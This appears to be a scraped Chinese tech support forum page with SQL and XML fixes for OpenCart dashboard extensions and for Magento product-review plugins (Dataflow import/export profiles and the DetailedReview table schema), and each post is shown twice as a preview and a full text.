('dashboard', 'online'),
('dashboard', 'map'),
('dashboard', 'customer'),
('dashboard', 'chart');

INSERT INTO `oc_setting` (`store_id`, `code`, `key`, `value`, `serialized`) VALUES
(0, 'dashboard_activity', 'dashboard_activity_status', '1', 0),
(0, 'dashboard_activity', 'dashboard_activity_sort_order', '7', 0),
(0, 'dashboard_sale', 'dashboard_sale_status', '1', 0),
(0, 'dashboard_sale', 'dashboard_sale_width', '3', 0),
(0, 'dashboard_chart', 'dashboard_chart_status', '1', 0),
(0, 'dashboard_chart', 'dashboard_chart_width', '6', 0),
(0, 'dashboard_customer', 'dashboard_customer_status', '1', 0),
(0, 'dashboard_customer', 'dashboard_customer_width', '3', 0),
(0, 'dashboard_map', 'dashboard_map_status', '1', 0),
(0, 'dashboard_map', 'dashboard_map_width', '6', 0),
(0, 'dashboard_online', 'dashboard_online_status', '1', 0),
(0, 'dashboard_online', 'dashboard_online_width', '3', 0),
(0, 'dashboard_order', 'dashboard_order_sort_order', '1', 0),
(0, 'dashboard_order', 'dashboard_order_status', '1', 0),
(0, 'dashboard_order', 'dashboard_order_width', '3', 0),
(0, 'dashboard_sale', 'dashboard_sale_sort_order', '2', 0),
(0, 'dashboard_customer', 'dashboard_customer_sort_order', '3', 0),
(0, 'dashboard_online', 'dashboard_online_sort_order', '4', 0),
(0, 'dashboard_map', 'dashboard_map_sort_order', '5', 0),
(0, 'dashboard_chart', 'dashboard_chart_sort_order', '6', 0),
(0, 'dashboard_recent', 'dashboard_recent_status', '1', 0),
(0, 'dashboard_recent', 'dashboard_recent_sort_order', '8', 0),
(0, 'dashboard_activity', 'dashboard_activity_width', '4', 0),
(0, 'dashboard_recent', 'dashboard_recent_width', '8', 0); 查看全部
ALTER TABLE `oc_user_group` CHANGE `permission` `permission` MEDIUMTEXT NOT NULL;

INSERT INTO `oc_extension` (`type`, `code`) VALUES
('dashboard', 'activity'),
('dashboard', 'sale'),
('dashboard', 'recent'),
('dashboard', 'order'),
('dashboard', 'online'),
('dashboard', 'map'),
('dashboard', 'customer'),
('dashboard', 'chart');

INSERT INTO `oc_setting` (`store_id`, `code`, `key`, `value`, `serialized`) VALUES
(0, 'dashboard_activity', 'dashboard_activity_status', '1', 0),
(0, 'dashboard_activity', 'dashboard_activity_sort_order', '7', 0),
(0, 'dashboard_sale', 'dashboard_sale_status', '1', 0),
(0, 'dashboard_sale', 'dashboard_sale_width', '3', 0),
(0, 'dashboard_chart', 'dashboard_chart_status', '1', 0),
(0, 'dashboard_chart', 'dashboard_chart_width', '6', 0),
(0, 'dashboard_customer', 'dashboard_customer_status', '1', 0),
(0, 'dashboard_customer', 'dashboard_customer_width', '3', 0),
(0, 'dashboard_map', 'dashboard_map_status', '1', 0),
(0, 'dashboard_map', 'dashboard_map_width', '6', 0),
(0, 'dashboard_online', 'dashboard_online_status', '1', 0),
(0, 'dashboard_online', 'dashboard_online_width', '3', 0),
(0, 'dashboard_order', 'dashboard_order_sort_order', '1', 0),
(0, 'dashboard_order', 'dashboard_order_status', '1', 0),
(0, 'dashboard_order', 'dashboard_order_width', '3', 0),
(0, 'dashboard_sale', 'dashboard_sale_sort_order', '2', 0),
(0, 'dashboard_customer', 'dashboard_customer_sort_order', '3', 0),
(0, 'dashboard_online', 'dashboard_online_sort_order', '4', 0),
(0, 'dashboard_map', 'dashboard_map_sort_order', '5', 0),
(0, 'dashboard_chart', 'dashboard_chart_sort_order', '6', 0),
(0, 'dashboard_recent', 'dashboard_recent_status', '1', 0),
(0, 'dashboard_recent', 'dashboard_recent_sort_order', '8', 0),
(0, 'dashboard_activity', 'dashboard_activity_width', '4', 0),
(0, 'dashboard_recent', 'dashboard_recent_width', '8', 0);

magento import export product reviews在后台无自动创建数据流

技术分享neasel 发表了文章 • 1 个评论 • 5 次浏览 • 2017-03-23 11:26 • 来自相关话题

如果您上传此插件之后,没有在后台中的sysytem--import/export--Dataflow-Advanced Profile中看到相关的自动添加的数据流数据的话
,则需要您手动添加
点击 add New Profile
添加一条IMport 标题
下方内容写为:<action type="dataflow/convert_adapter_io" method="load"><var name="type">file</var><var name="path">var/import</var><var name="filename"><![CDATA[import_review.csv]]></var><var name="format"><![CDATA[csv]]></var></action><action type="dataflow/convert_parser_csv" method="parse"><var name="delimiter"><![CDATA[,]]></var><var name="enclose"><![CDATA["]]></var><var name="fieldnames">true</var><var name="store"><![CDATA[0]]></var><var name="adapter">Softprodigy_Productreview_Model_Convert_Adapter_Importreview</var><var name="method">parse</var></action>添加一条export标题,下方内容为<action type="Softprodigy_Productreview_Model_Convert_Parser_Exportreview" method="unparse"><var name="store"><![CDATA[0]]></var></action><action type="dataflow/convert_mapper_column" method="map"></action><action type="dataflow/convert_parser_csv" method="unparse"><var name="delimiter"><![CDATA[,]]></var><var name="enclose"><![CDATA["]]></var><var name="fieldnames">true</var></action><action type="dataflow/convert_adapter_io" method="save"><var name="type">file</var><var name="path">var/export</var><var name="filename"><![CDATA[export_review.csv]]></var></action>分别保存之后就可以正常使用导入导出评论的功能了 查看全部
如果您上传此插件之后,没有在后台中的sysytem--import/export--Dataflow-Advanced Profile中看到相关的自动添加的数据流数据的话
,则需要您手动添加
点击 add New Profile
添加一条IMport 标题
下方内容写为:
<action type="dataflow/convert_adapter_io" method="load"><var name="type">file</var><var name="path">var/import</var><var name="filename"><![CDATA[import_review.csv]]></var><var name="format"><![CDATA[csv]]></var></action><action type="dataflow/convert_parser_csv" method="parse"><var name="delimiter"><![CDATA[,]]></var><var name="enclose"><![CDATA["]]></var><var name="fieldnames">true</var><var name="store"><![CDATA[0]]></var><var name="adapter">Softprodigy_Productreview_Model_Convert_Adapter_Importreview</var><var name="method">parse</var></action>
添加一条export标题,下方内容为
<action type="Softprodigy_Productreview_Model_Convert_Parser_Exportreview" method="unparse"><var name="store"><![CDATA[0]]></var></action><action type="dataflow/convert_mapper_column" method="map"></action><action type="dataflow/convert_parser_csv" method="unparse"><var name="delimiter"><![CDATA[,]]></var><var name="enclose"><![CDATA["]]></var><var name="fieldnames">true</var></action><action type="dataflow/convert_adapter_io" method="save"><var name="type">file</var><var name="path">var/export</var><var name="filename"><![CDATA[export_review.csv]]></var></action>
分别保存之后就可以正常使用导入导出评论的功能了

Payplans 3.5.0 帶不出幣別

回复

技术问答jessekuotw 回复了问题 • 2 人关注 • 1 个回复 • 7 次浏览 • 2017-02-10 08:51 • 来自相关话题

MageWorkshop DetailedReview 插件安装后出现main tables onknown column等数据库表结构错误

技术问答neasel 发表了文章 • 0 个评论 • 9 次浏览 • 2016-10-02 12:05 • 来自相关话题

1.确定你安装插件的时候已经关闭了后台诉编译功能,且includes文件下没有任何其它的目录,上传完所有插件数据之后,请删除VAR下的所有目录。
2.再次刷新还无显示的话,则是服务器的配置导致PHP文件无权限向数据库中写入内容,这时需要你进入MYSQL管理,在相应的数据库中进行手动插入数据库表结构操作,相关SQL代码如下:
CREATE TABLE IF NOT EXISTS `review` (
`review_id` bigint(20) unsigned NOT NULL COMMENT 'Review id',
`created_at` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Review create date',
`entity_id` smallint(5) unsigned NOT NULL DEFAULT '0' COMMENT 'Entity id',
`entity_pk_value` int(10) unsigned NOT NULL DEFAULT '0' COMMENT 'Product id',
`status_id` smallint(5) unsigned NOT NULL DEFAULT '0' COMMENT 'Status code'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review base information';

-- --------------------------------------------------------

--
-- 表的结构 `review_author_ips`
--

CREATE TABLE IF NOT EXISTS `review_author_ips` (
`id` bigint(20) NOT NULL,
`expiration_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`remote_addr` varchar(255) DEFAULT NULL,
`customer_id` bigint(20) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- 表的结构 `review_detail`
--

CREATE TABLE IF NOT EXISTS `review_detail` (
`detail_id` bigint(20) unsigned NOT NULL COMMENT 'Review detail id',
`review_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT 'Review id',
`store_id` smallint(5) unsigned DEFAULT '0' COMMENT 'Store id',
`title` varchar(255) NOT NULL COMMENT 'Title',
`detail` text NOT NULL COMMENT 'Detail description',
`nickname` varchar(128) NOT NULL COMMENT 'User nickname',
`customer_id` int(10) unsigned DEFAULT NULL COMMENT 'Customer Id',
`good_detail` text,
`no_good_detail` text,
`response` text,
`image` varchar(255) DEFAULT NULL,
`video` varchar(255) DEFAULT NULL,
`sizing` int(2) DEFAULT NULL,
`body_type` int(2) DEFAULT NULL,
`location` varchar(255) DEFAULT NULL,
`age` int(3) DEFAULT NULL,
`height` varchar(20) DEFAULT NULL,
`remote_addr` varchar(255) DEFAULT NULL,
`pros` varchar(255) DEFAULT NULL,
`cons` varchar(255) DEFAULT NULL,
`recommend_to` varchar(127) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review detail information';

-- --------------------------------------------------------

--
-- 表的结构 `review_entity`
--

CREATE TABLE IF NOT EXISTS `review_entity` (
`entity_id` smallint(5) unsigned NOT NULL COMMENT 'Review entity id',
`entity_code` varchar(32) NOT NULL COMMENT 'Review entity code'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review entities';

-- --------------------------------------------------------

--
-- 表的结构 `review_entity_summary`
--

CREATE TABLE IF NOT EXISTS `review_entity_summary` (
`primary_id` bigint(20) NOT NULL COMMENT 'Summary review entity id',
`entity_pk_value` bigint(20) NOT NULL DEFAULT '0' COMMENT 'Product id',
`entity_type` smallint(6) NOT NULL DEFAULT '0' COMMENT 'Entity type id',
`reviews_count` smallint(6) NOT NULL DEFAULT '0' COMMENT 'Qty of reviews',
`rating_summary` smallint(6) NOT NULL DEFAULT '0' COMMENT 'Summarized rating',
`store_id` smallint(5) unsigned NOT NULL DEFAULT '0' COMMENT 'Store id'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review aggregates';

-- --------------------------------------------------------

--
-- 表的结构 `review_helpful`
--

CREATE TABLE IF NOT EXISTS `review_helpful` (
`id` bigint(20) NOT NULL,
`review_id` bigint(20) NOT NULL,
`customer_id` bigint(20) DEFAULT NULL,
`is_helpful` tinyint(1) NOT NULL,
`remote_addr` varchar(255) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- 表的结构 `review_proscons`
--

CREATE TABLE IF NOT EXISTS `review_proscons` (
`entity_id` smallint(5) unsigned NOT NULL,
`name` varchar(255) NOT NULL,
`status` tinyint(1) DEFAULT NULL,
`wrote_by` tinyint(1) NOT NULL DEFAULT '0',
`sort_order` smallint(5) DEFAULT NULL,
`entity_type` varchar(1) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- 表的结构 `review_proscons_store`
--

CREATE TABLE IF NOT EXISTS `review_proscons_store` (
`entity_id` smallint(6) unsigned NOT NULL,
`entity_type` varchar(1) NOT NULL,
`store_id` smallint(6) unsigned NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- 表的结构 `review_status`
--

CREATE TABLE IF NOT EXISTS `review_status` (
`status_id` smallint(5) unsigned NOT NULL COMMENT 'Status id',
`status_code` varchar(32) NOT NULL COMMENT 'Status code'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review statuses';

-- --------------------------------------------------------

--
-- 表的结构 `review_store`
--

CREATE TABLE IF NOT EXISTS `review_store` (
`review_id` bigint(20) unsigned NOT NULL COMMENT 'Review Id',
`store_id` smallint(5) unsigned NOT NULL COMMENT 'Store Id'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review Store';

--
-- Indexes for dumped tables
--

--
-- Indexes for table `review`
--
ALTER TABLE `review`
ADD PRIMARY KEY (`review_id`),
ADD KEY `IDX_REVIEW_ENTITY_ID` (`entity_id`),
ADD KEY `IDX_REVIEW_STATUS_ID` (`status_id`),
ADD KEY `IDX_REVIEW_ENTITY_PK_VALUE` (`entity_pk_value`);

--
-- Indexes for table `review_author_ips`
--
ALTER TABLE `review_author_ips`
ADD KEY `id` (`id`),
ADD KEY `remote_addr` (`remote_addr`),
ADD KEY `customer_id` (`customer_id`);

--
-- Indexes for table `review_detail`
--
ALTER TABLE `review_detail`
ADD PRIMARY KEY (`detail_id`),
ADD KEY `IDX_REVIEW_DETAIL_REVIEW_ID` (`review_id`),
ADD KEY `IDX_REVIEW_DETAIL_STORE_ID` (`store_id`),
ADD KEY `IDX_REVIEW_DETAIL_CUSTOMER_ID` (`customer_id`);

--
-- Indexes for table `review_entity`
--
ALTER TABLE `review_entity`
ADD PRIMARY KEY (`entity_id`);

--
-- Indexes for table `review_entity_summary`
--
ALTER TABLE `review_entity_summary`
ADD PRIMARY KEY (`primary_id`),
ADD KEY `IDX_REVIEW_ENTITY_SUMMARY_STORE_ID` (`store_id`);

--
-- Indexes for table `review_helpful`
--
ALTER TABLE `review_helpful`
ADD KEY `id` (`id`);

--
-- Indexes for table `review_proscons`
--
ALTER TABLE `review_proscons`
ADD PRIMARY KEY (`entity_id`);

--
-- Indexes for table `review_status`
--
ALTER TABLE `review_status`
ADD PRIMARY KEY (`status_id`);

--
-- Indexes for table `review_store`
--
ALTER TABLE `review_store`
ADD PRIMARY KEY (`review_id`,`store_id`),
ADD KEY `IDX_REVIEW_STORE_STORE_ID` (`store_id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `review`
--
ALTER TABLE `review`
MODIFY `review_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Review id';
--
-- AUTO_INCREMENT for table `review_author_ips`
--
ALTER TABLE `review_author_ips`
MODIFY `id` bigint(20) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `review_detail`
--
ALTER TABLE `review_detail`
MODIFY `detail_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Review detail id';
--
-- AUTO_INCREMENT for table `review_entity`
--
ALTER TABLE `review_entity`
MODIFY `entity_id` smallint(5) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Review entity id';
--
-- AUTO_INCREMENT for table `review_entity_summary`
--
ALTER TABLE `review_entity_summary`
MODIFY `primary_id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT 'Summary review entity id';
--
-- AUTO_INCREMENT for table `review_helpful`
--
ALTER TABLE `review_helpful`
MODIFY `id` bigint(20) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `review_proscons`
--
ALTER TABLE `review_proscons`
MODIFY `entity_id` smallint(5) unsigned NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `review_status`
--
ALTER TABLE `review_status`
MODIFY `status_id` smallint(5) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Status id';
--
-- 限制导出的表
--

--
-- 限制表 `review`
--
ALTER TABLE `review`
ADD CONSTRAINT `FK_REVIEW_ENTITY_ID_REVIEW_ENTITY_ENTITY_ID` FOREIGN KEY (`entity_id`) REFERENCES `review_entity` (`entity_id`) ON DELETE CASCADE ON UPDATE CASCADE,
ADD CONSTRAINT `FK_REVIEW_STATUS_ID_REVIEW_STATUS_STATUS_ID` FOREIGN KEY (`status_id`) REFERENCES `review_status` (`status_id`) ON DELETE NO ACTION ON UPDATE NO ACTION;

--
-- 限制表 `review_detail`
--
ALTER TABLE `review_detail`
ADD CONSTRAINT `FK_REVIEW_DETAIL_CUSTOMER_ID_CUSTOMER_ENTITY_ENTITY_ID` FOREIGN KEY (`customer_id`) REFERENCES `customer_entity` (`entity_id`) ON DELETE SET NULL ON UPDATE CASCADE,
ADD CONSTRAINT `FK_REVIEW_DETAIL_REVIEW_ID_REVIEW_REVIEW_ID` FOREIGN KEY (`review_id`) REFERENCES `review` (`review_id`) ON DELETE CASCADE ON UPDATE CASCADE,
ADD CONSTRAINT `FK_REVIEW_DETAIL_STORE_ID_CORE_STORE_STORE_ID` FOREIGN KEY (`store_id`) REFERENCES `core_store` (`store_id`) ON DELETE SET NULL ON UPDATE CASCADE;

--
-- 限制表 `review_entity_summary`
--
ALTER TABLE `review_entity_summary`
ADD CONSTRAINT `FK_REVIEW_ENTITY_SUMMARY_STORE_ID_CORE_STORE_STORE_ID` FOREIGN KEY (`store_id`) REFERENCES `core_store` (`store_id`) ON DELETE CASCADE ON UPDATE CASCADE;

--
-- 限制表 `review_store`
--
ALTER TABLE `review_store`
ADD CONSTRAINT `FK_REVIEW_STORE_REVIEW_ID_REVIEW_REVIEW_ID` FOREIGN KEY (`review_id`) REFERENCES `review` (`review_id`) ON DELETE CASCADE ON UPDATE CASCADE,
ADD CONSTRAINT `FK_REVIEW_STORE_STORE_ID_CORE_STORE_STORE_ID` FOREIGN KEY (`store_id`) REFERENCES `core_store` (`store_id`) ON DELETE CASCADE ON UPDATE CASCADE;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; 查看全部
1.确定你安装插件的时候已经关闭了后台诉编译功能,且includes文件下没有任何其它的目录,上传完所有插件数据之后,请删除VAR下的所有目录。
2.再次刷新还无显示的话,则是服务器的配置导致PHP文件无权限向数据库中写入内容,这时需要你进入MYSQL管理,在相应的数据库中进行手动插入数据库表结构操作,相关SQL代码如下:
 
CREATE TABLE IF NOT EXISTS `review` (
`review_id` bigint(20) unsigned NOT NULL COMMENT 'Review id',
`created_at` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00' COMMENT 'Review create date',
`entity_id` smallint(5) unsigned NOT NULL DEFAULT '0' COMMENT 'Entity id',
`entity_pk_value` int(10) unsigned NOT NULL DEFAULT '0' COMMENT 'Product id',
`status_id` smallint(5) unsigned NOT NULL DEFAULT '0' COMMENT 'Status code'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review base information';

-- --------------------------------------------------------

--
-- 表的结构 `review_author_ips`
--

CREATE TABLE IF NOT EXISTS `review_author_ips` (
`id` bigint(20) NOT NULL,
`expiration_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`remote_addr` varchar(255) DEFAULT NULL,
`customer_id` bigint(20) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- 表的结构 `review_detail`
--

CREATE TABLE IF NOT EXISTS `review_detail` (
`detail_id` bigint(20) unsigned NOT NULL COMMENT 'Review detail id',
`review_id` bigint(20) unsigned NOT NULL DEFAULT '0' COMMENT 'Review id',
`store_id` smallint(5) unsigned DEFAULT '0' COMMENT 'Store id',
`title` varchar(255) NOT NULL COMMENT 'Title',
`detail` text NOT NULL COMMENT 'Detail description',
`nickname` varchar(128) NOT NULL COMMENT 'User nickname',
`customer_id` int(10) unsigned DEFAULT NULL COMMENT 'Customer Id',
`good_detail` text,
`no_good_detail` text,
`response` text,
`image` varchar(255) DEFAULT NULL,
`video` varchar(255) DEFAULT NULL,
`sizing` int(2) DEFAULT NULL,
`body_type` int(2) DEFAULT NULL,
`location` varchar(255) DEFAULT NULL,
`age` int(3) DEFAULT NULL,
`height` varchar(20) DEFAULT NULL,
`remote_addr` varchar(255) DEFAULT NULL,
`pros` varchar(255) DEFAULT NULL,
`cons` varchar(255) DEFAULT NULL,
`recommend_to` varchar(127) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review detail information';

-- --------------------------------------------------------

--
-- 表的结构 `review_entity`
--

CREATE TABLE IF NOT EXISTS `review_entity` (
`entity_id` smallint(5) unsigned NOT NULL COMMENT 'Review entity id',
`entity_code` varchar(32) NOT NULL COMMENT 'Review entity code'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review entities';

-- --------------------------------------------------------

--
-- 表的结构 `review_entity_summary`
--

CREATE TABLE IF NOT EXISTS `review_entity_summary` (
`primary_id` bigint(20) NOT NULL COMMENT 'Summary review entity id',
`entity_pk_value` bigint(20) NOT NULL DEFAULT '0' COMMENT 'Product id',
`entity_type` smallint(6) NOT NULL DEFAULT '0' COMMENT 'Entity type id',
`reviews_count` smallint(6) NOT NULL DEFAULT '0' COMMENT 'Qty of reviews',
`rating_summary` smallint(6) NOT NULL DEFAULT '0' COMMENT 'Summarized rating',
`store_id` smallint(5) unsigned NOT NULL DEFAULT '0' COMMENT 'Store id'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review aggregates';

-- --------------------------------------------------------

--
-- 表的结构 `review_helpful`
--

CREATE TABLE IF NOT EXISTS `review_helpful` (
`id` bigint(20) NOT NULL,
`review_id` bigint(20) NOT NULL,
`customer_id` bigint(20) DEFAULT NULL,
`is_helpful` tinyint(1) NOT NULL,
`remote_addr` varchar(255) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- 表的结构 `review_proscons`
--

CREATE TABLE IF NOT EXISTS `review_proscons` (
`entity_id` smallint(5) unsigned NOT NULL,
`name` varchar(255) NOT NULL,
`status` tinyint(1) DEFAULT NULL,
`wrote_by` tinyint(1) NOT NULL DEFAULT '0',
`sort_order` smallint(5) DEFAULT NULL,
`entity_type` varchar(1) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- 表的结构 `review_proscons_store`
--

CREATE TABLE IF NOT EXISTS `review_proscons_store` (
`entity_id` smallint(6) unsigned NOT NULL,
`entity_type` varchar(1) NOT NULL,
`store_id` smallint(6) unsigned NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- 表的结构 `review_status`
--

CREATE TABLE IF NOT EXISTS `review_status` (
`status_id` smallint(5) unsigned NOT NULL COMMENT 'Status id',
`status_code` varchar(32) NOT NULL COMMENT 'Status code'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review statuses';

-- --------------------------------------------------------

--
-- 表的结构 `review_store`
--

CREATE TABLE IF NOT EXISTS `review_store` (
`review_id` bigint(20) unsigned NOT NULL COMMENT 'Review Id',
`store_id` smallint(5) unsigned NOT NULL COMMENT 'Store Id'
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Review Store';

--
-- Indexes for dumped tables
--

--
-- Indexes for table `review`
--
ALTER TABLE `review`
ADD PRIMARY KEY (`review_id`),
ADD KEY `IDX_REVIEW_ENTITY_ID` (`entity_id`),
ADD KEY `IDX_REVIEW_STATUS_ID` (`status_id`),
ADD KEY `IDX_REVIEW_ENTITY_PK_VALUE` (`entity_pk_value`);

--
-- Indexes for table `review_author_ips`
--
ALTER TABLE `review_author_ips`
ADD KEY `id` (`id`),
ADD KEY `remote_addr` (`remote_addr`),
ADD KEY `customer_id` (`customer_id`);

--
-- Indexes for table `review_detail`
--
ALTER TABLE `review_detail`
ADD PRIMARY KEY (`detail_id`),
ADD KEY `IDX_REVIEW_DETAIL_REVIEW_ID` (`review_id`),
ADD KEY `IDX_REVIEW_DETAIL_STORE_ID` (`store_id`),
ADD KEY `IDX_REVIEW_DETAIL_CUSTOMER_ID` (`customer_id`);

--
-- Indexes for table `review_entity`
--
ALTER TABLE `review_entity`
ADD PRIMARY KEY (`entity_id`);

--
-- Indexes for table `review_entity_summary`
--
ALTER TABLE `review_entity_summary`
ADD PRIMARY KEY (`primary_id`),
ADD KEY `IDX_REVIEW_ENTITY_SUMMARY_STORE_ID` (`store_id`);

--
-- Indexes for table `review_helpful`
--
ALTER TABLE `review_helpful`
ADD KEY `id` (`id`);

--
-- Indexes for table `review_proscons`
--
ALTER TABLE `review_proscons`
ADD PRIMARY KEY (`entity_id`);

--
-- Indexes for table `review_status`
--
ALTER TABLE `review_status`
ADD PRIMARY KEY (`status_id`);

--
-- Indexes for table `review_store`
--
ALTER TABLE `review_store`
ADD PRIMARY KEY (`review_id`,`store_id`),
ADD KEY `IDX_REVIEW_STORE_STORE_ID` (`store_id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `review`
--
ALTER TABLE `review`
MODIFY `review_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Review id';
--
-- AUTO_INCREMENT for table `review_author_ips`
--
ALTER TABLE `review_author_ips`
MODIFY `id` bigint(20) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `review_detail`
--
ALTER TABLE `review_detail`
MODIFY `detail_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Review detail id';
--
-- AUTO_INCREMENT for table `review_entity`
--
ALTER TABLE `review_entity`
MODIFY `entity_id` smallint(5) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Review entity id';
--
-- AUTO_INCREMENT for table `review_entity_summary`
--
ALTER TABLE `review_entity_summary`
MODIFY `primary_id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT 'Summary review entity id';
--
-- AUTO_INCREMENT for table `review_helpful`
--
ALTER TABLE `review_helpful`
MODIFY `id` bigint(20) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `review_proscons`
--
ALTER TABLE `review_proscons`
MODIFY `entity_id` smallint(5) unsigned NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `review_status`
--
ALTER TABLE `review_status`
MODIFY `status_id` smallint(5) unsigned NOT NULL AUTO_INCREMENT COMMENT 'Status id';
--
-- 限制导出的表
--

--
-- 限制表 `review`
--
ALTER TABLE `review`
ADD CONSTRAINT `FK_REVIEW_ENTITY_ID_REVIEW_ENTITY_ENTITY_ID` FOREIGN KEY (`entity_id`) REFERENCES `review_entity` (`entity_id`) ON DELETE CASCADE ON UPDATE CASCADE,
ADD CONSTRAINT `FK_REVIEW_STATUS_ID_REVIEW_STATUS_STATUS_ID` FOREIGN KEY (`status_id`) REFERENCES `review_status` (`status_id`) ON DELETE NO ACTION ON UPDATE NO ACTION;

--
-- 限制表 `review_detail`
--
ALTER TABLE `review_detail`
ADD CONSTRAINT `FK_REVIEW_DETAIL_CUSTOMER_ID_CUSTOMER_ENTITY_ENTITY_ID` FOREIGN KEY (`customer_id`) REFERENCES `customer_entity` (`entity_id`) ON DELETE SET NULL ON UPDATE CASCADE,
ADD CONSTRAINT `FK_REVIEW_DETAIL_REVIEW_ID_REVIEW_REVIEW_ID` FOREIGN KEY (`review_id`) REFERENCES `review` (`review_id`) ON DELETE CASCADE ON UPDATE CASCADE,
ADD CONSTRAINT `FK_REVIEW_DETAIL_STORE_ID_CORE_STORE_STORE_ID` FOREIGN KEY (`store_id`) REFERENCES `core_store` (`store_id`) ON DELETE SET NULL ON UPDATE CASCADE;

--
-- 限制表 `review_entity_summary`
--
ALTER TABLE `review_entity_summary`
ADD CONSTRAINT `FK_REVIEW_ENTITY_SUMMARY_STORE_ID_CORE_STORE_STORE_ID` FOREIGN KEY (`store_id`) REFERENCES `core_store` (`store_id`) ON DELETE CASCADE ON UPDATE CASCADE;

--
-- 限制表 `review_store`
--
ALTER TABLE `review_store`
ADD CONSTRAINT `FK_REVIEW_STORE_REVIEW_ID_REVIEW_REVIEW_ID` FOREIGN KEY (`review_id`) REFERENCES `review` (`review_id`) ON DELETE CASCADE ON UPDATE CASCADE,
ADD CONSTRAINT `FK_REVIEW_STORE_STORE_ID_CORE_STORE_STORE_ID` FOREIGN KEY (`store_id`) REFERENCES `core_store` (`store_id`) ON DELETE CASCADE ON UPDATE CASCADE;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

为什么安装模板后无法注册新用户?

neasel 回复了问题 • 2 人关注 • 3 个回复 • 17 次浏览 • 2016-09-01 10:42 • 来自相关话题